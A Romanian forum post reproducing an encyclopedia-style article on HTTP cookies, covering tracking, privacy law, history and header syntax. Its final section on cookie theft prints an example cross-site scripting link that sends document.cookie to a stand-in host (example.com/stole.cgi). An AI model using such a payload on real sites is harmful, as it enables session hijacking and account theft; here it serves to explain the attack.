G-FORCE
Grand Master
Inregistrat: acum 17 ani
Postari: 323
|
|
Cookie-urile sunt folosite de serverele web pentru a putea diferenţia utilizatorii şi pentru a putea reacţiona în funcţie de acţiunile acestora. Ele au fost inventate pentru a se putea implementa un coş de cumpărături virtual: utilizatorul navighează sit-ul şi poate adăuga sau elimina în voie obiectele din coş.
Autentificarea utilizatorilor faţă de server este o altă aplicaţie a cookie-urilor; acestea reţin faptul că utilizatorul este deja autentificat şi serverul îi va permite acţiuni care sunt rezervate doar celor înregistraţi.
Unele sit-uri folosesc cookie-urile şi pentru a permite utilizatorilor să modifice felul în care arată paginile de web, în funcţie de preferinţele personale, şi pentru a reţine aceste preferinţe între sesiuni. Se pot modifica şi reţine în acest fel atât aspecte legate de funcţionalitatea cât şi de aspectul grafic al paginilor. De exemplu, Wikipedia permite utilizatorilor înregistraţi să modifice aspectul paginilor, iar în Google, chiar şi utlizatorii neînregistraţi pot alege câte rezultate să fie afişate într-o pagină.
Cookie-urile se folosesc şi pentru a urmări activitatea unui utilizator pe un site, sau chiar pe mai multe site-uri, în cazul cookie-urilor „third-party” sau a aşa-numiţilor „web-bugs”. Urmărirea în cadrul unui site este făcută în scopul obţinerii unor statistici ale folosirii. Companiile de publicitate urmăresc activitatea utilizatorilor în cadrul mai multor site-uri pentru a face statistici din care să rezulte interesele lor, putând astfel să decidă ce reclame să afişeze la un anumit moment, unui anumit utilizator.
Realizarea
Cookie-urile nu sunt decât nişte fragmente de date fără semnificaţie pentru utilizator sau pentru browserul său, dar care pot fi interpretate de server. Browserul le primeşte si le returnează serverului nemodificate, introducând astfel o „amintire” a evenimetelor trecute în cererea HTTP, care în sine este atemporală (fără cookie-uri, fiecare cerere este un eveniment izolat, fără a avea în principiu vreo legătură cu alte cereri trecute sau viitoare, către acelaşi server). Returnând un cookie unui server, acesta poate face legătura cu cereri precedente (în care acelaşi server a trimis cookie-ul). În afară de servere, cookie-urile mai pot fi create de un script scris într-un limbaj cum ar fi java, dacă acest lucru e permis de browser.
Descrierea detaliată a mecanismului[1][2] sugerează ca browserele să poată reţine cel puţin 300 de cookie-uri de câte 4 kb, şi cel puţin 20 pentru fiecare server sau domeniu de internet.
La crearea cookie-ului se poate specifica şi data de şteregere; în caz contrar, acesta va fi şters la inchiderea browserului. Un magazin virtual poate dori să se reţină conţinutul coşului de cumpărături între sesiuni, astfel încât la următoarea vizită utilizatorul să nu trebuiască să caute din nou toate produsele. În acest caz, vor crea un cookie cu un termen de ştergere ceva mai îndepărtat de momentul curent. Doar cookie-urile care au un termen de ştergere specificat vor „supravieţui” deci între sesiuni - acestea pot fi numite „persistente”.
Neadevăruri
De la apariţia lor pe internet, s-au răspândit mai multe păreri greşite despre cookie-uri.[3][4] În 2005, Jupiter Research a publicat rezultatele unui sondaj,[5] conform căruia o bună parte a celor chestionaţi credeau că: Cookie-urile sunt similare viermilor sau viruşilor, adică pot să şteargă date de pe hard disk; Cookie-urile sunt o formă de spyware, adică pot să citească informaţii personale stocate în PC; Cookie-urile generează popup-uri (ferestre cu reclame deschise automat de browser, în general supărătoare pentru utilizator); Cookie-urile sunt folosite pentru a trimite spam; Cookie-urile sunt o formă de reclamă.
De fapt cookie-urile sunt doar date, nu cod: ele nu pot să şteargă sau să citească ceva de pe PC-ul utilizatorului.[6] Totuşi, cookie-urile permit detectarea paginilor vizitate de un utilizator într-unul sau mai multe site-uri. Aceste informaţii pot fi colectate într-un profil al utilizatorului. Acesta este anonim (nu conţine informaţii personale cum ar fi nume sau adresă, dar conţine totuşi un IP), cu excepţia cazului în care utilizatorul însuşi şi-a dat datele personale. Chiar dacă sunt anonime, datele colectate în acest fel au dat naştere unor îngrijorări în legătură cu intimitatea de care se poate beneficia navigând pe internet.
Conform aceluiaşi sondaj, destul de mulţi intervievaţi nu ştiau cum să şteargă cookie-urile reţinute de browserele lor.
Configurarea browserului
Cele mai multe browsere moderne suportă cookie-uri; ele permit însă utilizatorului să decidă dacă va folosi sau nu cookie-uri. Variantele cele mai folosite sunt:[7] (1) nu sunt folosite cookie-uri, (2) browserul cere permisiunea utilizatorului la fiecare cookie, sau (3) toate cookie-urile sunt acceptate. Fereastra de configurare a cookie-urilor din Mozilla Firefox, afişând cookie-urile în funcţie de domeniul de provenienţă.
Browserul poate permite specificarea mai detaliată a cookie-urilor care să fie acceptate. De obicei utilizatorul are la dispoziţie următoarele opţiuni: respingerea cookie-urilor pentru anumite domeniii de internet; respingerea cookie-urilor third party (explicate mai jos); acceptarea cookie-urilor dar ştergerea lor la închiderea browserului; permisiunea ca un server să creeze cookie-uri pentru un alt domeniu. Cele mai multe browsere care suportă Javascript dau posibilitatea afişării cookie-urilo active pentru o anumită pagină, scriind javascript:alert("Cookies: "+document.cookie) în câmpul de editare a URL-ului. În plus, unele browsere permit utilizatorului să vadă şi să şteargă individual cookie-urile stocate.
Standardul P3P dă posibilitatea serverelor să declare ce fel de informaţii colectează şi în ce scop, incluzând informaţiile colectate cu ajutorul cookie-urilor. Astfel, un browser poate să decidă dacă acceptă sau nu cookie-urile, sau poate afişa utilizatorului intenţiile declarate de server, iar acesta va decide acceptarea sau respingerea cookie-urilor.
Anonimitatea şi cookie-urile „third party”
Cookie-urile au implicaţii destul de importante în ceea ce priveşte anonimitatea şi securitatea informaţiilor de natură personală ale celor care accesează pagini de web. Deşi cookie-urile sunt trimise doar serverului care le-a creat sau unuia care este în acelaşi domeniu de Internet, o pagină poate conţine imagini (sau alte elemente) găzduite pe mai multe servere din domenii diferite. Cookie-urile create de aceste servere secundare (faţă de serverul pe care este găzduită pagina propriu-zisă se numesc „third party” în limba engleză, o traducere mot-a-mot fiind „terţă parte”. În acest exemplu (fictiv), o companie de publicitate are bannere pe două pagini de web. Imaginile sunt memorate pe serverele companiei; în acest fel, folosind cookie-uri third party, compania de publicitate poate urmări activitatea utilizatorilor pe cele două pagini.
Companiile publicitare folosesc astfel de cookie-uri pentru a urmări utilizatorii care accesează paginile în care aceasta are imagini sau aşa numite „Web-bugs” (care sunt imagini cu dimensiunea de un singur pixel, în mod normal invizibile -transparente-, al căror singur rol constă în a declanşa un transfer de cookie-uri). În acest fel compania cunoaşte comportamentul utilizatorilor şi poate plasa reclame pertinente (apropiate de preocupările şi interesele utilizatorului) în anumite pagini.
Posibilitatea generării unei aproximări a comportamentului utilizatorilor a fost considerată de unii drept o ameninţare a anonimităţii, mai ales atunci cănd aceasta se face prin urmărirea acţiunilor pe mai multe domenii de Internet, folosind cookie-uri „third party”. din această cauză, folosirea cookie-urilor este reglementată prin lege în unele ţări.
Guvernul Statelor Unite ale Americii a elaborat un set strict de reguli în privinţa cookie-urilor în anul 2000, după ce a ieşit la iveală faptul că Direcţia pentru Controlul Drogurilor a Casei Albe folosea cookie-uri pentru a vedea dacă cei care îi accesau site-ul accesau după aceea pagini de web despre folosirea ori producerea drogurilor. În 2002, Daniel Brandt, militant pentru securitatea datelor personale pe web, a descoperit că şi pagina de web a CIA lăsa pe hard-disk-urile utilizatorilor cookie-uri persistente (cu data de expirare 2010). După ce a fost anunţată că îşi încalcă propriile reguli, CIA a răspuns că trimiterea cookie-urilor a fost accidentală, că ele nu au fost folosite efectiv pentru a urmări utilizatorii şi şi-a modificat pagina astfel încât să nu mai folosească cookie-uri.[8] Pe 25 decembrie 2005, Brandt a descoperit că şi NSA lăsa două cookie-uri persistente pe calculatoarele utilizatorilor, din cauza unui update de software. După ce a fost informată de acest lucru, NSA a dezactivat trimiterea de cookie-uri de pe site-ul propriu.[9]
O directivă din 2002 a Uniunii Europene în privinţa securităţii informaţiilor de natură personală pe Internet conţine reguli relativ la folosirea cookie-urilor. Printre altele, Articolul 5, Alineatul 3 specifică faptul că salvarea datelor (cum ar fi cookie-uri) pe calculatorul unui utilizator poate fi făcută doar dacă: 1) utilizatorului i se spune cum vor fi utilizate aceste date; şi 2) utilizatorului i se dă posibilitatea de a refuza aceste date. Totuşi, acelaşi articol menţionează faptul că salvarea datelor necesare din motive tehnice este exceptată de la această regulă. Această directivă trebuia aplicată încă din octombrie 2003, dar un raport din decembrie 2004 [10] spune (la pagina 38) că această prevedere nu a fost pusă în practică, şi că unele ţări membre nici măcar nu au adoptat-o (Slovacia, Letonia, Grecia, Belgia, şi Luxembourg). Acelaşi raport propune o analiză serioasă a situaţiei din statele membre (ale Uniunii Europene).
Dezavantaje ale cookie-urilor
În afară de problema securităţii datelor personale, mai există câteva motive pentru care folosirea cookie-urilor este criticată: ele nu pot identifica foarte precis utilizatorii, şi pot fi folosite pentru a ataca sistemele IT.
Identificarea imprecisă
Dacă pe un calculator sunt folosite mai multe browsere, fiecare va avea cookie-urile sale. Deci cookie-urile nu identifică persoana, ci combinaţia cont de utilizator, calculator, browser. Oricine foloseşte mai multe conturi de utilizator, calculatoare sau browsere, va avea mai multe seturi de cookie-uri.
De asemenea, prin cookie-uri nu se poate face diferenţa dintre doi utilizatori care folosesc acelaşi calculator şi browser (dacă nu folosesc conturi de utilizator diferite).
Interceptarea cookie-urilor
În mod normal, cookie-urile sunt transferate între un sever (sau mai multe servere din acelaşi domeniu) şi calculatorul utilizatorului. Deoarece cookie-urile pot conţine informaţii confidenţiale (nume de utilizator, parolă etc.), ele nu ar trebui să fie accesibile altor calculatoare. Din păcate, sesiunile HTTP obişnuite sunt vizibile tuturor calculatoarelor din reţea, care pot intercepta pachetele de date. Aceste cookie-uri nu pot conţine deci informaţii confidenţiale. O soluţie posibilă este HTTPS, care foloseşte Transport Layer Security pentru a cripta toate datele schimbate între server şi calculatorul utilizatorului.
Aşa numitul „cross-site scripting” (scripting inter-sit) permite trimiterea unui cookie altor servere, care nu ar trebui în mod normal să-l primească. Browser-ele moderne permit executarea (de către client) a unor fragmente de cod primite de la server; dacă cookie-urile pot fi accesate în timpul execuţiei, ele ar putea fi trimise altor servere decât cele „autorizate”. Aceasta se numeşte „furtul” cookie-ului, iar criptarea nu ajută împotriva acestui gen de atac.[11]
Aceasă metodă este de obicei folosită pe sit-uri care permit utilizatorilor să trimită conţinut HTML. Folosind un anumit fragment de cod, un utilizator rău-voitor poate să primească cookie-uri ale altor utilizatori; cu ajutorul lor, el poate apoi să se conecteze şi să se păcălească serverul, care crede că altcineva s-a autentificat.
„Otrăvirea” cookie-urilor „Otrăvirea” cookie-urilor: un atacator trimite unui server un cookie invalid (de exemplu un cookie primit de la server, dar modificat).
Cookie-urile ar trebui să fie reţinute şi trimise serverului neschimbate; un atacator ar putea însă să le modifice şi apoi să le trimită serverului. Acest proces se numeşte „otrăvirea” cookie-urilor, şi este uneori folosit după „furtul” lor. Dacă, de exemplu, un cookie reţine suma care trebuie plătită pentru cumpărăturile din coşul virtual, schimbarea acestei valori ar putea permite cumpărarea unor bunuri la un preţ mult mai mic.
Totuşi, cele mai multe site-uri reţin cu ajutorul cookie-urilor doar un identificator de sesiune: acesta este un număr unic(generat aleator) care identifică sesiunea utilizatorului - el reprezintă de fapt un index într-o tabelă internă a serverului, în care se reţin valorile cu adevărat importante, cum ar fi preţul unor cumpărături, ş.a.m.d.. În acest fel problema cookie-urilor invalide este în principiu eliminată.
Cookie inter-site Furtul de cookie-uri: un cookie care ar trebui să fie comunicat serverului e trimis de client unui alt calculator.
Fiecare site ar trebui să aibă acces doar la cookie-urile proprii, adică un site de genul rău.net nu ar trebui să poată citi cookie-uri trimise clientului de un alt site bun.net. Totuşi, erori în programarea browser-elor pot duce la încălcarea acestei reguli. Se ajunge la o situaţie similară trimiterii de cookie-uri modificate, dar în acest caz nu este atacat serverul, ci un utilizator de bunăcredinţă care foloseşte un browser vulnerabil. În acest fel, de exemplu, se poate fura acel identificator de sesiune şi atacatorul poate să se „autentifice” în locul utilizatorului de bună credinţă.
Alternative la cookie-uri
Există o serie de alternative la folosirea cookie-urilor. Acestea au însă şi ele dezavantajele lor, de aceea cookie-urile sunt preferate de cele mai multe ori în practică. Cele mai multe dintre aceste metode alternative permit urmărirea acţiunulior utilizatorilor, deşi cu o acurateţe mai mică decât cea a cookie-urilor. Securitatea informaţiilor personale rămâne deci o problemă, chiar daca browser-ul este configurat să nu accepte cookie-uri.
Adresa IP
O metodă foarte puţin precisă de urmărire a utilizatorilor se bazează pe reţinerea adreselor IP ale calculatoarelor care solicită pagini web. Aceasta a fost disponibilă şi folosită încă de la începuturile World Wide Web-ului, pentru că trimiterea paginii către un client presupune cunoaşterea adresei IP a acestuia (sau a proxy-ului, dacă se foloseşte unul). Această adresă poate fi reţinută de către server indiferent dacă cookie-urile sunt sau nu folosite.
Totuşi, calculatoarele şi proxy-urile pot fi folosite de mai mulţi utilizatori; de asemenea, acelaşi calculator poate avea adrese IP diferite, de exemplu în cazul unor conexiuni succesive prin dial-up. De aceea, o urmărire fiabilă a unui utilizator este dificilă; o proprietate a protocolului HTTP poate ajuta în acest sens: atunci când un browser cere o pagină din cauză că utilizatorul urmează o legătură, cererea conţine şi adresa paginii pe care se află această legătură. Dacă serverul stochează aceste adrese, el poate avea succesiunea de pagini vizitate de utilizator. Nici această metodă nu este la fel de eficientă ca folosirea cookie-urilor, deoarece mai mulţi utilizatori pot accesa aceeaşi pagină de la acelaşi calculator, NAT router, sau proxy şi apoi să urmeze două legături diferite. În orice caz, în acest fel se pot doar urmări acţiunile utilizatorului, şi nu se pot suplini celelalte moduri de folosire a cookie-urilor.
Urmărirea cu ajutorul adresei IP poate fi imposibilă dacă utilizatorul foloseşte unul dintre sistemele de acces anonim la internet, cum ar fi Tor. Acestea fac ca un browser să aibă mai multe adrese IP în cadrul unei singure sesiuni, şi chiar pot face să pară că de la aceeaşi adresă IP vin mai mulţi utilizatori.
URL (query string)
O metodă mai precisă se bazează pe introducerea infromaţiei în adresa URL. Partea denumită „query string” este folosită de obicei, dar se pot folosi şi alte secţiuni. Mecanismul sesiunilor PHP foloseşte această metodă dacă cookie-urile nu sunt activate.
În principiu metoda constă în adăugarea la adresele URL ale legăturilor (de pe paginile găzduite) a unui şir de caractere (informaţia care altfel ar fi fost reţinută într-un cookie). Atunci când este urmată una dintre legături, browser-ul returnează întregul URL (deci şi partea ataşată serverului. Diferenţa faţă de mecanismul cookie-urilor este următoarea: dacă URL-ul este refolosit (de exemplu trimis prin email sau reţinut în browser), aceeaşi informaţie este primită de server; de exemplu urmând un URL primit prin email, utilizatorul va fi întâmpinat de preferinţele ori coşul de cumpărături iniţial (al celui care i-a trimis email-ul). Mai mult, dacă acelaşi utilizator deschide aceeaşi pagină de două ori, dar „venind” din pagini diferite (de exemplu dintr-un motor de căutare şi dintr-o altă pagină a aceluiaşi domeniu), el va vedea lucruri diferite.
Un alt dezavantaj al acestei metode este legat de securitate: trimiţând o adresă prin email, este posibil să fie trimis şi un identificator de sesiune, iar cel care va urma legătura va apărea pentru server ca fiind un utilizator autentificat. În această privinţă cookie-urile sunt mult mai sigure, fiind mai greu de „furat”.
Autentificare HTTP
Protocolul HTTP include mecanisme (cum ar fi digest access authentication), care permit accesarea unei pagini Web doar după furnizarea unui nume de utilizator şi a unei parole, pe care browser-ul le reţine şi le transmite server-ului la fiecare cerere, fără ca utilizatorul să le introducă de fiecare dată; din punctul acestuia de vedere, lucrurile se desfăşoară ca şi în cazul folosirii cookie-urilor. Totuşi, transmiterea parolei (şi chiar a numelui de utilizator) de fiecare dată când este cerută o pagină este destul de nesigură: acest trafic poate fi interceptat. Identificatorul de sesiune (informaţia care putea fi interceptată dacăse foloseau cookie-uri) expiră destul de repede după ce nu a fost folosit, devenind inutilizabil pentru un atacator.
Obiecte Locale Macromedia Flash
Dacă un browser foloseşte plugin-ul Macromedia Flash Player funcţia de salvare locală a unor obiecte poate fi folosită într-un mod foarte asemănător cookie-urilor. Aceasta poate fi o opţiune atrăgătoare pentru dezvoltatorii de pagini Web, pentru că majoritatea utilizatorilor de Windows folosesc acest plugin, iar limita de mărime este de 100 kb. În plus, configurările sunt separate de cookie-uri, deci stocarea locală a obiectelor poate fi activată, iar cookie-urile dezactivate.
[modifică] Alte metode de a stoca date local
Unele browsere suportă un mecanism prin care paginile Web îşi pot stoca local unele date printr-un script. Internet Explorer, de exemplu, poate fi folosit pentru a stoca date într-o pagină Web salvată pe hard-disk, într-un document XML, sau în secţiunile „Favorites” („Pagini favorite” ori „Semne de carte” ori „History” („Pagini recente” ale browser-ului.[12]
window.name
Dacă Javascript este activat, proprietatea name name a obiectului window poate fi folosită pentru a stoca local date, deoarece aceasta rămâne neschimbată la încărcarea succesivă a unor pagini Web. Metoda este mai puţin cunoscută, şi din această cauză nu este considerată drept o ameninţare la adresa securităţii.[13]
Istoria cookie-urilor
Termenul vine de la expresia din limba engleză "magic cookie", care desemnează un pachet de date pe care un program îl primeşte doar pentru a-l trimite înapoi nemodificat. Aceast procedeu era deja larg răspândit atunci când, în iunie 1994, Lou Montulli a avut ideea de a-l folosi în cadrul comunicaţiilor web[14]. Pe atunci el era angajat al Netscape Communications, care dezvolta o aplicaţie e-commerce pentru un client, iar cookie-urile au fost folosite pentru a implementa un „coş de cumpărături virtual”[15][16]
Împreună cu John Giannandrea, Montulli a scris descrierea tehnică a cookie-urilor, iar versiunea 0.9 a browser-ului Netscape (lansată în septembrie 1994) accepta cookie-uri. Prima aplicaţie a cookie-urilor a fost pe situl Netscape - se verifica dacă un vizitator intra accesa pentru prima dată situl. Montulli şi Giannandrea au depus o cerere de brevetare a mecanismului (1995), primind brevetul în 1998. Versiunea 2 a Internet Explorer (lansată în 1995) suporta de asemenea cookoie-uri.[17]
La acel moment, introducerea cookie-urilor nu era foarte cunoscută de publicul larg. Cookie-urile erau acceptate de setările implicite ale browserului, iar utilizatorii nu erau notificaţi de prezenţa lor. Un articol Financial Times, publicat în12 februarie 1996, a atras atenţia asupra cookie-urilor, mai ales din cauza posibilităţii de a sustrage cu ajutorul lor informaţii personale.
Primele specificaţii oficiale au fost scrise în februarie 1997, de IETF (documentul RFC 2109). Cookie-urile „third-party” au fost identificate ca fiind o ameninţare la adresa anonimităţii utilizatorilor, astfel încât documnetul recomandă ca ele să nu fie acceptate deloc, sau măcar ca aceasta să fie setarea implicită a browser-ului.
Companiile de publicitate deja foloseau cookie-uri, iar recomandarea privind cookie-uri „third-party” nu au fost respectate de Netscape ori de Internet Explorer. RFC 2109 a fost urmat de RFC 2965 în octombrie 2000.
Implementarea
Crearea unui cookie
Paginile web sunt transmise prin HTTP; browser-ul începe prin a trimite o cerere serverului. De exemplu, pentru a accesa pagina browser-ul se conectează la serveul şi trimite o cerere de forma: GET /index.html HTTP/1.1 browser → server
Serverul răspunde trimiţând pagina cerută, precedată de un pachet de text numit „HTTP header”. Acesta poate conţine linii care cer browser-ului să reţină cookie-uri: HTTP/1.1 200 OK Set-Cookie: name=value Content-type: text/html (content of page) browser ← server
Linia Set-cookie este trimisă doar dacă serverul vrea ca browser-ul să reţină un cookie. Mai precis, cookie-ul este name=value. Dacă browser-ul acceptă cookie-uri, toate cererile următoare către acelaşi server vor conţine acel cookie. De exemplu, dacă browser-ul vrea să acceseze va trimite serverului o cerere de forma: GET /spec.html HTTP/1.1 Cookie: name=value Accept: */* browser → server
În acest fel serverul ştie că aceasta nu e prima cerere, şi va răspunde trimiţând pagina cerută, eventual împreună cu alte cookie-uri. Valoarea unui cookiepoate fi modificată de server trimiţând linia Set-Cookie: name=newvalue în răspunsul următoarei cereri a browser-ului.
În general, linia Set-Cookie nu e creată de serverul propriu-zis, ci de un program CGI. Serverul doar trimite rezultatul geneart de acest program browser-ului.
Cookie-urile pot fi create şi de scripturi (de exemplu JavaScript) care rulează în cadrul browser-ului. În JavaScript, se foloseşte obiectul document.cookie. De exemplu, instrucţiunea document.cookie = "temperature=20" creează un cookie cu numele temperature şi valoarea 20.[18]
Alte proprietăţi ale cookie-urilor
În afară de nume şi valoare, un cookie poate să conţină data epirării, o cale, un nume de domeniu (domain name), şi dacă cookie-ul trebuie sau nu să fie transmis doar prin conexiune criptată (Transport Layer Security). RFC 2109 prevede folosirea unui număr caresă reţină versiunea cookie-ului, dar acesta e de obicei omis. Aceste proprietăţi urmează după name=newvalue şi sunt de obicei separate prin „;”. De exemplu, un cookie poate fi creat de server trimiţând linia Set-Cookie: name=newvalue; expires=date; path=/; domain=.example.org. Exemplul unui răspuns HTTP de la Google, care creează un cookie şi proprietăţile lui.
Numele de domeniu şi calea spun browser-ului cărui server să trimită cookie-ul atunci când încearcă să acceseze o pagină. Dacă nu sunt specificate, valoarea implicită este domeniul şi calea obiectului din cererea curentă. Ca urmare, sirurile domeniu şi cale pot să ducă la trimiterea unui cookie la alt server decât cel implicit. Din motive de securitate, cookie-ul este acceptat doar dacăserverul este membru al domeniului specificat în proprietăţile cookie-ului.
Cookie-urile sunt de fapt identificate de tripleta nume/domeniu/cale, nu doar de nume (În varainta originală Netscape apărea doar perechea nume/cale). Cu alte cuvinte, acelaşi nume dar domenii diferite reprezintă cookie-uri diferite (probabil cu valori diferite).
Data expirării specifică momentul în care browser-ul va şterge cookie-ul din memorie. În mod implicit (dacă nu se specifică o dată a expirării), cookie-urile sunt şterse la închiderea sesiunii (oprirea programului), dar dacă este specificată o anumită dată, cookie-ul va rămâne în memorie(până la acea dată. În acest fel, specificând o dată a expirării, cookie-urile „supravieţuiesc” între sesiuni; această prprietate se numeşte „persistenţă”
De exemplu, un server ar putea să trimită un cookie de forma următoare:
Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.example.net
Numele acestui cookie este RMID, iar valoarea sa 732423sdfs73242. Calea şi numele de domeniu / and .example.net spun browser-ului să trimită cookie-ul atunci când cere o pagină (orice pagină din domeniu .example.net.
Data expirării este 31 decembrie 2010, ora 23:59:59 GMT. Orice cerere după acea dată nu va mai fi însoţită de acest cookie, care va fi şters. Cookie-urile mai pot fi şterse de server (trimiţând o cerere de modificare şi schimbând data de expirare undeva în trecut) sau de utilizator, din meniul browser-ului.
Autentificarea
Cookie-urile pot fi folosite de servere pentru a recunoaşte utilizatorii autentificaţi şi pentru a modifica paginile trimise în funcţie de preferinţele acestore (personalizare). De exemplu: Utilizatorul introduce numele de utilizator şi parola în câmpurile de editare ale unei pagini şi le trimite spre serverului; Serverul primeşte numele de utilizator şi parola şi le verfifică; dacă sunt corecte, trimite o pagină care confirmă acest lucru utilizatorului, împreună cu un cookie; de asemenea, serverul memorează perechea nume/cookie (sau doar cookie-ul); La fiecare accesare a unei pagini de pe acel server, browser-ul trimite şi cookie-ul împreună cu cererea; serverul compară cookie-ul primit cu cele memorate, şi poate să decidă dacă este vorba de un utilizator autentificat sau nu, trimiţând pagina potrivită.
Aceasta este metoda folosită de aproape toate siturile, inclusiv Wikipedia.
[modifică] Personalizarea paginilor
În mod similar autentificării, serverul află ce utilizator îi cere o paginăşi poate să o trimită în consecinţă, în funcţie de preferinele exprimate anterior, şi care au fost reţinute de server. Se pot personaliza pagini chiar în cazul utilizatorilor care nu au un cont pe server: pur şi simplu se reţin preferinţele în cadrul cookie-ului, şi la cererile următoare, trimiţând şi cookie-ul, browser-ul trimite şi preferinţele utilizatorului.
De exemplu, Google reţine preferinţele utilizatorilor într-un cookie numit PREF. Acesta e creat cu valori implicite la prima accesare a sitului. Atunci când utilizatorul intră în pagina de preferinţe şi alege ceva, serverul trimite o cerere de modificare a cookie-ului, reţinând în el noua valoare.
Urmărirea utilizatorilor
Metoda cea mai folosită este următoarea: Dacă o cerere nu conţine nici un cookie, se presupune că este prima accesare a unei pagini de pe acel server; acesta creează un cookie cu o valoare arbitrară (dar unică şi-l trimite, împreună cu pagina solicitată; De acum încolo, browserul va primi împreună cu cererile şi cookie-ul; el va trimite paginile cerute, dar va reţine numele paginii cerute, data şi ora, precum şi valoarea cookie-ului într-o listă specială.
Parcurgând această listă, este posibil să se afle ce pagini (şi în ce ordine) au fost vizitate de un anumit utilizator (identificat de un anumit cookie).
Cookie-uri „third-party”
Imaginile sau alte obiecte conţinute de o pagină web pot să fie de fapt pe alt server decât cel pe care este pagina propriu-zisă. Pentru a afişa aceste obiecte, browser-ul le descarcă de pe serverele lor, eventual primind şi cookie-uri. Acestea se numesc „third party”, dacă serverul care le-a creat se află în alt domeniu decât serverul paginii.
Acest fenomen se întâmplă mai ales în cazul reclamelor. Imaginile publicitare se află de obicei stocate pe serverele companiei publicitare, în alt domeniu decât pagina web pe care sunt afişate. Dacă browser-ul acceptă cookie-urile, compania de publicitate poate să urmărească activitatea utilizatorului pe mai multe situri (pe toate siturile vizitate, care au imagini ce provin de la acea companie de publicitate). Aceasta se face folosind un URL unic pentru fiecare sit (astfel încât aceeaşi imagine afişată pe două situri are alt URL) sau cu ajutorul câmpului referer din tranzacţia HTTP. Acelaşi lucru se poate obţine intercalând în pagina de web imagini invizibile utilizatorului, dar care sunt downloadate de browser.
Companiile de publicitate au negat permanent că aceste informaţii ar fi folosite şi pentru alte scopuri în afara stabilirii unor preferinţe ale utilizatorilor.
Multe browsere moderne, cum ar fi Internet Explorer, Opera sau Mozilla Firefox, permit utilizatorului să aleagă blocarea cookie-urilor „third party”. Versiunea 6 a Internet Explorer permite şi o formă intermediară de blocare: dacă third.com trimite un cookie odată cu o imagine de pe o pagină din domeniul first.com, cookie-ul nu este trimis în cazul în care o este nevoie de o imagine de pe acelaşi third.com, dar pentru un document din domeniul other.com; dacă însă un document oarecare din domeniul iniţial first.com are nevoie de o imagine de pe third.com, cookie-ul va fi trimis[19].
Coşul de cumpărături virtual
Aceasta este o altă aplicaţie a cookie-urilor, discutată şi mai sus „Furtul” cookie-urilor
Deşi în principiu cookie-urile sunt trimise doar serverelor care le-au creat, există metode de a le „fura”, adică de a convinge browser-ul să le trimită altor servere.
Printre altele, scripturile JavaScript sau JScript au de obicei acces la toate cookie-urile stocate de browser, putând să le trimită oriunde. Aceasta, împreună cu situri care permit utilizatorilor să le modifice paginile scriind conţinut HTML duce la situaţii nedorite.
De exemplu, cineva care deţine domeniul example.com poate scrie pe un alt sit o legătură de forma următoare: <a href="#" onclick="window.location='http://example.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a>
Când un utilizator apasă pe această legătură, browserul înlocuiesşte document.cookie cu lista cookie-urilor active pe acel sit, care ajung astfel la serverul example.com, al cărui deţinător are acces acum la cookie-urile utilizatorilor sitului pe care a pus legătura
Acest gen de atac este imposibil de prevenit de către browser, pentru că scriptul vine chiar serverul care a creat cookie-urile, şi totul pare a fi autorizat de acel server. Singura soluţie este ca administratorii siturilo care permit utilizatorilor să le modifice conţinutul să implementeze metode pentru respingerea acestui gen de scripturi.
|
|